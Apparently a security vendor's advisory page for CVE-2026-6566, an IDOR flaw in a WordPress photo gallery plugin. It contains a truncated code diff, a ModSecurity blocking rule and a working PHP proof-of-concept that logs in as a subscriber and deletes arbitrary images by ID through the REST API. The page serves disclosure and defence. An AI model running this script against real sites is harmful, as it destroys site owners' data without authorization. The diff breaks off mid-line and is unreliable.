--- a/nextgen-gallery/src/REST/DataMappers/AddonsREST.php
+++ b/nextgen-gallery/src/REST/DataMappers/AddonsREST.php
@@ -202,8 +202,8 @@
 			'google_analytics' => 'Google Analytics',
 			'instagram'        => 'Instagram',
 		];
-		$display_name = isset( $feature_display_names[ $addon_id ] ) ? $feature_display_names[ $addon_id ] : $addon_id;
-		$noun         = __( 'Feature', 'nggallery' );
+		$display_name 

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_METHOD "@streq DELETE" "id:20266101,phase:2,deny,status:403,chain,msg:'CVE-2026-6566 IDOR Image Deletion via REST API',severity:'CRITICAL',tag:'CVE-2026-6566'"
SecRule REQUEST_URI "@rx ^/wp-json/imagely/v1/images/d+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6566 - Photo Gallery, Sliders, Proofing and Themes <= 4.2.0 - IDOR to Authenticated (Subscriber+) Image Deletion

$target_url = 'https://example.com'; // Change this to the target WordPress site URL
$username = 'attacker'; // Subscriber-level user with NextGEN Manage gallery capability
$password = 'password123';

$ch = curl_init();

// Step 1: Authenticate and get cookies
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);

// Step 2: Obtain WordPress REST API nonce (not strictly required for DELETE but good practice)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'action=rest-nonce');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, false);
$nonce_response = curl_exec($ch);
$nonce = trim($nonce_response);

// Step 3: Delete an arbitrary image by ID (try image ID 1 first)
$image_id = 1; // Attacker can iterate through IDs
$rest_url = $target_url . '/wp-json/imagely/v1/images/' . $image_id;

curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-WP-Nonce: ' . $nonce,
    'Content-Type: application/json'
));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');

$delete_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo 'HTTP Status Code: ' . $http_code . "n";
echo 'Response: ' . $delete_response . "n";

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School